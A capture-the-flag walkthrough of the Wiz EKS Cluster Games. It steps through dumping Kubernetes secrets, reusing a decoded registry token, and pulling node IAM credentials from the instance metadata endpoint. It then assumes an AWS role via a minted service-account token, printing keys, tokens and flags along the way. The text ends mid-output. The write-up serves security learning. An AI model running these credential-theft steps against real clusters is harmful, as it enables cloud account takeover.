Warning Spoilers!

This walkthrough goes over the 5 EKS Cluster Game challenges created by wiz.io.

https://eksclustergames.com/

Secret Seeker

Each challenge gives you a hint and a rbac policy of the service account.

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

{
    "secrets": [
        "get",
        "list"
    ]
}

Running the following command lists all secrets in our current namespace (challenge1)

kubectl get secrets
# NAME         TYPE     DATA   AGE
# log-rotate   Opaque   1      5d2h

We can also view the contents of the secret by adding the name and specifying the yaml output.

kubectl get secrets log-rotate -o yaml
# apiVersion: v1
# data:
#   flag: d2l6X2Vrc19jaGFsbGVuZ2V7bnX292ZXJfcHJplsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
# kind: Secret
# metadata:
#   creationTimestamp: "2023-11-01T13:02:08Z"
#   name: log-rotate
#   namespace: challenge1
#   resourceVersion: "890951"
#   uid: 03f6372c-b728-4c5b-ad28-70d5af8d387c
# type: Opaque

Using the CLI or an online tool we can base64 decode the flag.

echo -n "d2l6X2Vrc19jaGFsbGVuZ2V7bnX292ZXJfcHJplsZWdlZF9zZWNyZXRfYWNjZXNzfQ==" | base64 -d
# wiz_eks_challenge{over_privileged_secret_access}

Registry Hunt

A thing we learned during our research: always check the container registries.

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}
kubectl get secrets
# cannot list resource "secrets" in API group "" in the namespace "challenge2"

kubectl get pods
# NAME                    READY   STATUS    RESTARTS   AGE
# database-pod-2c9b3a4e   1/1     Running   0          5d2h

kubectl get pods database-pod-2c9b3a4e -o yaml

The following it the output from the get pods database-pod.

apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:05Z"
  name: database-pod-2c9b3a4e
  namespace: challenge2
  resourceVersion: "897497"
  uid: 57fe7d43-5eb3-4554-98da-47340d94b4a6
spec:
  containers:
  - image: eksclustergames/base_ext_image
    imagePullPolicy: Always
    name: my-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-cq4m2
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  imagePullSecrets:
  - name: registry-pull-secrets-780bab1d
  nodeName: ip-192-168-21-50.us-west-1.compute.internal
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-cq4m2
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:05Z"
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:08Z"
    status: "True"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:08Z"
    status: "True"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2023-11-01T13:32:05Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
  - containerID: containerd://b427307b7f428bcf6a50bb40ebef194ba358f77dbdb3e7025f46be02b922f5af
    image: docker.io/eksclustergames/base_ext_image:latest
    imageID: docker.io/eksclustergames/base_ext_image@sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
    lastState: {}
    name: my-container
    ready: true
    restartCount: 0
    started: true
    state:
      running:
        startedAt: "2023-11-01T13:32:08Z"
  hostIP: 192.168.21.50
  phase: Running
  podIP: 192.168.12.173
  podIPs:
  - ip: 192.168.12.173
  qosClass: BestEffort
  startTime: "2023-11-01T13:32:05Z"

Some information we can gleam from it are the:

  • image: docker.io/eksclustergames/base_ext_image:latest
  • imagePullSecrets: registry-pull-secrets-780bab1d

Since we have get secrets we can list the value.

kubectl get secret registry-pull-secrets-780bab1d -o yaml
# apiVersion: v1
# data:
#   .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
# kind: Secret
# metadata:
#   annotations:
#     pulumi.com/autonamed: "true"
#   creationTimestamp: "2023-11-01T13:31:29Z"
#   name: registry-pull-secrets-780bab1d
#   namespace: challenge2
#   resourceVersion: "897340"
#   uid: 1348531e-57ff-42df-b074-d9ecd566e18b
# type: kubernetes.io/dockerconfigjson

Base64 decoding the dockerconfigjson, we get the following json output.

{
    "auths": {
        "index.docker.io/v1/": {
            "auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
        }
    }
}

Base64 decoding again the auth token:eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo. This value is in the form username:password, with this value we can login to the registry.

The following commands were run on my local machine

docker login --username eksclustergames --password dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
# Login Succeeded

docker pull docker.io/eksclustergames/base_ext_image:latest
# latest: Pulling from eksclustergames/base_ext_image
# Digest: sha256:a17a9428af1cc25f2158dfba0fe3662cad25b7627b09bf24a915a70831d82623
# Status: Downloaded newer image for eksclustergames/base_ext_image:latest
# docker.io/eksclustergames/base_ext_image:latest

Now that the image is pulled lets look to see if there are any secrets baked into the image.

docker run --rm -it docker.io/eksclustergames/base_ext_image:latest sh
# / #

ls -l
# total 44
# drwxr-xr-x    2 root     root         12288 Jul 17 18:30 bin
# drwxr-xr-x    5 root     root           360 Nov  6 16:03 dev
# drwxr-xr-x    1 root     root          4096 Nov  6 16:03 etc
# -rw-r--r--    1 root     root           124 Nov  1 13:32 flag.txt
# drwxr-xr-x    2 nobody   nobody        4096 Jul 17 18:30 home
# drwxr-xr-x    2 root     root          4096 Jul 17 18:30 lib
# lrwxrwxrwx    1 root     root             3 Jul 17 18:30 lib64 -> lib
# dr-xr-xr-x  265 root     root             0 Nov  6 16:03 proc
# drwx------    1 root     root          4096 Nov  6 16:04 root
# dr-xr-xr-x   12 root     root             0 Nov  6 16:03 sys
# drwxrwxrwt    2 root     root          4096 Jul 17 18:30 tmp
# drwxr-xr-x    4 root     root          4096 Jul 17 18:30 usr
# drwxr-xr-x    4 root     root          4096 Jul 17 18:30 var

cat flag.txt
# wiz_eks_challenge{nothing_can_be_said_to_be_certain_except_death_taxes_and_....................}

Image Inquisition

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

{
    "pods": [
        "list",
        "get"
    ]
}

Lets first see what pods are running.

kubectl get pods
# NAME                      READY   STATUS    RESTARTS   AGE
# accounting-pod-876647f8   1/1     Running   0          5d2h

kubectl get pods accounting-pod-876647f8 -o yaml
apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubernetes.io/psp: eks.privileged
    pulumi.com/autonamed: "true"
  creationTimestamp: "2023-11-01T13:32:10Z"
  name: accounting-pod-876647f8
  namespace: challenge3
  resourceVersion: "897513"
  uid: dd2256ae-26ca-4b94-a4bf-4ac1768a54e2
spec:
  containers:
  - image: 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
    imagePullPolicy: IfNotPresent
    name: accounting-container
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-mmvjj
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  nodeName: ip-192-168-21-50.us-west-1.compute.internal
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-mmvjj
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace

Interesting information about the pod

  • image:688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
aws ecr get-login-password --region us-west-1 | docker login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
# No permissions

The scenario also has a reminder that is running EKS.

Remember: You are running inside a compromised EKS pod.

Maybe we can hit the AWS metadata endpint?

curl 169.254.169.254
# ...
# latest

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# eks-challenge-cluster-nodegroup-NodeInstanceRole


curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
# Note cannot end in backslash

The secrets 😋

{
    "AccessKeyId": "ASIA2AVYNEVMTMBSDVFK",
    "Expiration": "2023-11-06 17:44:02+00:00",
    "SecretAccessKey": "OiECjGRpZ1egfBfXNJboAIbvWUOX7EzndIgnzwY3",
    "SessionToken": "FwoGZXIvYXdzEGoaDA9oX4BZuVLQSeYIDyK3AX/RrB4W53AlQS+lA9Uko+ILMx99mgCnkvP9JY7EuxQ/EXYxoWYTOdazogDnfps2uJiKgic7hc8pCYR2g1PavpUmSvrnvCIM9PuL7HdHd/1d1PmF1UM+HiuWEpj+3e/LJRFxXcGv6A0gHXhclRkG+s6JU84j7rroMEH2IE2vlxCip0wALIHFZYaMH9heWJpDZEKrJIGnugLqkKT8JAqImqTxOWnfqJ62cwvbU0CVB5/x9kkY2Q2dhyjSr6SqBjItIUyIdMH1qP174hYM++yyUw50r4AJWHG62sRB6Rag19vTbifmtKG+RNgAzui2"
}

Export them to a local shell

export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMTMBSDVFK
export AWS_SECRET_ACCESS_KEY=OiECjGRpZ1egfBfXNJboAIbvWUOX7EzndIgnzwY3
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEGoaDA9oX4BZuVLQSeYIDyK3AX/RrB4W53AlQS+lA9Uko+ILMx99mgCnkvP9JY7EuxQ/EXYxoWYTOdazogDnfps2uJiKgic7hc8pCYR2g1PavpUmSvrnvCIM9PuL7HdHd/1d1PmF1UM+HiuWEpj+3e/LJRFxXcGv6A0gHXhclRkG+s6JU84j7rroMEH2IE2vlxCip0wALIHFZYaMH9heWJpDZEKrJIGnugLqkKT8JAqImqTxOWnfqJ62cwvbU0CVB5/x9kkY2Q2dhyjSr6SqBjItIUyIdMH1qP174hYM++yyUw50r4AJWHG62sRB6Rag19vTbifmtKG+RNgAzui2

aws sts get-caller-identity
# {
#     "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
#     "Account": "688655246681",
#     "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
# }

aws ecr get-login-password --region us-west-1 | docker login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
# Login Succeeded

docker pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# e7310b04c944: Pull complete
# Digest: sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

The challenge wants us to look in the image. Lets see if we can find anything with the docker history command

docker history 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# IMAGE          CREATED        CREATED BY                                      SIZE      COMMENT
# 575a75bed1bd   5 days ago     CMD ["/bin/sleep" "3133337"]                    0B        buildkit.dockerfile.v0
# <missing>      5 days ago     RUN sh -c #ARTIFACTORY_USERNAME=challenge@ek…   0B        buildkit.dockerfile.v0
# <missing>      3 months ago   /bin/sh -c #(nop)  CMD ["sh"]                   0B
# <missing>      3 months ago   /bin/sh -c #(nop) ADD file:7e9002edaafd4e457…   4.26MB

Add the --no-trunc flag to view the fully created by.

docker history --no-trunc 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
# IMAGE                                                                     CREATED        CREATED BY                                                                                                                                                                                                                                                                                             SIZE      COMMENT
# sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3   5 days ago     CMD ["/bin/sleep" "3133337"]                                                                                                                                                                                                                                                                           0B        buildkit.dockerfile.v0
# <missing>                                                                 5 days ago     RUN sh -c #[email protected] ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_......} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit   0B        buildkit.dockerfile.v0
# <missing>                                                                 3 months ago   /bin/sh -c #(nop)  CMD ["sh"]                                                                                                                                                                                                                                                                          0B        
# <missing>                                                                 3 months ago   /bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in /                                                                                                                                                                                                       4.26MB    

Inside of the build step is the secret ARTIFACTORY_TOKEN=wiz_eks_challenge{}

Pod Break

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

{}

No permissions 😢

Lets get the role name & the IAM credentials

curl 169.254.169.254/latest/meta-data/iam/security-credentials/
# eks-challenge-cluster-nodegroup-NodeInstanceRole

curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
# {"AccessKeyId":"ASIA2AVYNEVMSPWQEZU6","Expiration":"2023-11-06 18:07:58+00:00","SecretAccessKey":"VH0Q4HWh3FbgHIYTHMEzZzqUI8z5ryk5p0ApnE5d","SessionToken":"FwoGZXIvYXdzEGsaDMy8UmuL7XBtfn6mtSK3ARTElmVIixVg8XOk3iohnVS4+ATPSXavNomNPYFhP8EIRAgt2iowXvqcImQcdbp87iiLOpKoyaYuhkX0gJnzV7ESOs966l53x+RlP7BuLgU1K/TjPaHrYjoozx7pO1DbvPFLaT7U9qHhi5Dt8kUyZ64lK32Ob0tRbt9mQZamHRL7uFOGVdnlX2fnVC8GXS2doDYdwcQJh+gcxWBzskiui9i+TKRDqXeaSkyZ40agW7C9l5GlfmY5MyjuuqSqBjIt9CxvoiX9sQmVnnqZZZcMdmvd5ViBYv29mW930YQgZj+AmLRFyJwcRwL57J+f"}

Now we can get a token to authenticate to the cluster with.

# Note should be eks-challenge-cluster
aws eks get-token --region us-west-1 --cluster-name eks-challenge

This returns a json object.

{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2023-11-06T17:59:23Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1UQ1pHVzZPUiUyRjIwMjMxMTA2JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyMzExMDZUMTc0NTIzWiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFR3NhRE1iWVJtdHFmTzgwcE1wYWtTSzNBZGpNYXBsN3FNYWtSRXZFNVBNaURaM0ZicDU1OFZPUGpLSVgzb3FocDh6UFR4TzZJN1ZueGQlMkYwOHB4dEhlWGxnbURRVXhCZHBaTHNXbzA4VmZUdVpvaFdnTkRldUZhMkVtQ3pkJTJGS0dNdnpYQWNkdkpaTXlMUXhEajhoWEd5dHpGcTVvc1NTOWhnV0hQcVNQZTJGZ0kwbERSamFwZHZYcHFPMlRUd09la0NkdW1CMEowaVJxNlpxRiUyQmxxRWM5anFwZkFuY3AlMkJ5cUt1bWRBZ2NDNUwlMkJEWm9tbTZua3E4UFF2WDFTUmZ2NGVFYll2dkE2S0ZKOVRTajR5S1NxQmpJdHF2ZCUyRkxmNCUyRmxPdTlUUmN6RzBSMENjZjVKbmNpV3dmQ0MwODNKTERRTzFMRnhkbEsxdWhDSlkxbGhxYUEmWC1BbXotU2lnbmF0dXJlPWM2YTA2MTRjOWE3N2NjZjNhNGM1M2I2ODU4NmM2NDI3NmZmZGM2YTdiMGE3Yjc3Y2Y5OTAyMDdjMDY3YjY3YmY"
    }
}

Base64 decode the token after k8s-aws-v1.

The results should look something like this https://sts.us-west-1.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA2AVYNEVMTCZGW6OR%2F20231106%2Fus-west-1%2Fsts%2Faws4_request&X-Amz-Date=20231106T174523Z&X-Amz-Expires=60&X-Amz-SignedHeaders=host%3Bx-k8s-aws-id&X-Amz-Security-Token=FwoGZXIvYXdzEGsaDMbYRmtqfO80pMpakSK3AdjMapl7qMakREvE5PMiDZ3Fbp558VOPjKIX3oqhp8zPTxO6I7Vnxd%2F08pxtHeXlgmDQUxBdpZLsWo08VfTuZohWgNDeuFa2EmCzd%2FKGMvzXAcdvJZMyLQxDj8hXGytzFq5osSS9hgWHPqSPe2FgI0lDRjapdvXpqO2TTwOekCdumB0J0iRq6ZqF%2BlqEc9jqpfAncp%2ByqKumdAgcC5L%2BDZomm6nkq8PQvX1SRfv4eEbYvvA6KFJ9TSj4yKSqBjItqvd%2FLf4%2FlOu9TRczG0R0Ccf5JnciWwfCC083JLDQO1LFxdlK1uhCJY1lhqaA&X-Amz-Signature=c6a0614c9a77ccf3a4c53b68586c64276ffdc6a7b0a7b77cf990207c067b67

I tried using the token in a kube config file but no luck. I also realized that the clusters name is eks-challenge-cluster.

- name: conftoken
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - --region
      - us-west-1
      - eks
      - get-token
      - --cluster-name
      - eks-challenge-cluster
      command: aws

This works instead

TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" auth can-i --list
# Resources                                       Non-Resource URLs   Resource Names     Verbs
# serviceaccounts/token                           []                  [debug-sa]         [create]
# selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
# selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]
# pods                                            []                  []                 [get list]
# secrets                                         []                  []                 [get list]
# serviceaccounts                                 []                  []                 [get list]

The out put of the previous command show what permissions we have access to. It lets us view pods and secrets

TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" get secrets
NAME        TYPE     DATA   AGE
node-flag   Opaque   1      5d8h

TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster | jq -r '.status.token') kubectl --token "$TOKEN" get secrets node-flag -o yaml

The secret

apiVersion: v1
data:
  flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9pZ2F0ZV9JTURTX3vX0VLU19jb25ncmF0c30=
kind: Secret
metadata:
  creationTimestamp: "2023-11-01T12:27:57Z"
  name: node-flag
  namespace: challenge4
  resourceVersion: "883574"
  uid: 26461a29-ec72-40e1-adc7-99128ce664f7
type: Opaque

Base64 decode it for the flag

Container Secrets Infrastructure

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

In addition the the Kubernetes RBAC there is a IAM and trust policy.

RBAC

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

Policy

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

Trust Policy (of the role s3access-sa)

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

Lets see what resources exist in the cluster.

kubectl get secrets
# No resources found in challenge5 namespace.

kubectl get pods
# No resources found in challenge5 namespace.

kubectl get sa
# NAME          SECRETS   AGE
# debug-sa      0         6d1h
# default       0         6d1h
# s3access-sa   0         6d1h

Lets get more info about the service accounts.

kubectl get sa s3access-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
  creationTimestamp: "2023-10-31T20:07:34Z"
  name: s3access-sa
  namespace: challenge5
  resourceVersion: "671916"
  uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda

The annotation eks.amazonaws.com/role-arn lets (aws-iam-authenticator) the service account assume the role challengeEksS3Role.

kubectl create token s3access-sa --duration 3h --audience "sts.amazonaws.com" --namespace challenge5
# error: failed to create token: serviceaccounts "s3access-sa" is forbidden: User "system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal" cannot create resource "serviceaccounts/token" in API group "" in the namespace "challenge5"

kubectl get sa debug-sa -o yaml
# apiVersion: v1
# kind: ServiceAccount
# metadata:
#   annotations:
#     description: This is a dummy service account with empty policy attached
#     eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
#   name: debug-sa
#   namespace: challenge5


kubectl create token debug-sa --audience "sts.amazonaws.com" --namespace challenge5
# eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A

The token returned is a JWT it can be viewed using an online tools (token.dev).

Using the token we can authenticate agains AWS.

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e --role-session-name challenge5 --web-identity-token 'eyJhbGciOiJSUzI1NiIsImtpZCI6IjZkMjNjYTkwMGI2MTVhYWJmNTBmYWJlZDc0NzA1OTNiNjIyMDA5NmYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNjk5MzA5MjQ5LCJpYXQiOjE2OTkzMDU2NDksImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTY5OTMwNTY0OSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.UIt0jBu9uGxqwXb0UYZKoOO9AqvwzEht2exCbEN7p4v8KllN9OKDBLXsa8hFRQSzi2asxvO8zavUZraQSHVlXgytYJGQfhPaA6swzL6ZCpp0wZD37OqaO4HRQSYzcnYDzrofWWstBrQ7IY0OIwEgPZXqQXe79DY3v5etOEjltUvQJ6AnEIky180Griv_mWRsA87NYbFL_PxNVTIf3JqJz1ZwPsajNaEO3TXQT6Degkfw25nycewFLzZ-IrtTkblL77tLgtCe41dNXjPqEpg_PXtv8s-fBSgaNFk1CjVVSXjM7OLplAQbQKbvKzS-OekKkyEhKw3zOHHJc-XkTRls7A'

The output are the credentials

{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVM6OOLSC6X",
        "SecretAccessKey": "yL0R0E6BcfJMr3w+ieLz0rSGClfjT4ZfSb4feaW4",
        "SessionToken": "IQoJb3JpZ2luX2VjEF4aCXVzLXdlc3QtMSJHMEUCID4vygKHnQl2zp4cHMKWrkG3NBx3bIgsLH/UNOQWpPqmAiEA2FqhUwoEU5HLIwt4rpQ/WwaDQWuMmRF3C33kVS5epfgqxAQIl///////////ARAAGgw2ODg2NTUyNDY2ODEiDDD2YfIyjAhzwcHU2CqYBElY89dnewlWGLwNCjtxKvAbx9OWSvXF3OkGXC7QJvq7w5Lod+oUiAdyYPRhNreIc06XU/LuCZUEXtgbaQbKmN84l/7tbT7OVXTXbGxc4knhykkRdchvSl7vPAmUCQJxSUykGtxNAR4PMR3LkRtM1MPjed6BgVEVL2IZB+AjmjQ/tMteQdVgfdbDKcui8GWz/eu3zS5x0lGaSO6HUkA7Punhn8WMSpkQX4vBDSDVHZKnX2z/T1WzIAjiGOLf92TvQrTX4xOrMAjwTT+ZZ99OFrcpoC/LkU+olPya6IHdHY6IYTMZXnOzZptUjshIN1+aitrfX9CvtWboXnDzbKNZxgxTmOZOPBQ/Vzl9PNQ35eJw7tfibkcwSiPQ2TxTrDBCrvLP8X13CMXPSIZVNDWu4zjqNAD7FGyMQ4wyIg59GAdJ3CyW2VEi0GNAd+p6psDscI/ch7YOKfmyXAu2PtGL28x+lfnOsPNvmCUquNwBgxi+NvJcFUyaZYJyH62+lohDhhvh9dW2Xdlg7vECwJORahZPujpvbJ0TSFPu7TQnFBiY7dxURuUY1+5ErnMl47DZMcK2SoTFW4FeP+I8eERjGUH/fEziUfRZmRBh//A328JXSnDeaeLnzB2CuMvtns61InSX/wt12cD/8+/hWQ6jTPP9K6cLSEX0KjQutLV8yMMB5D4P36cuuHf9n1V0LqD15oLcNG1fTVlcMLGzpaoGOpUBfIOL7CQa42ypxEdhCWkbGQOnXIUMCqnWQd/KgPC/w6PJXiSyJhfJmN0XXFRqY29HZEZH4En/YsRFHoH9xM8Zv4U9tL0fWfgb3ELt9xbgoDm5mVl995s5vihAfaNaF4CVmbAx58jat4+L8AytkFKEQ22jb8a+4ICWlRa/3jjvl1IaFUTIZWGZ6wKyty8gU0hSPiI0x78=",
        "Expiration": "2023-11-06T22:25:05+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVM6G5PAIL7U:challenge5",
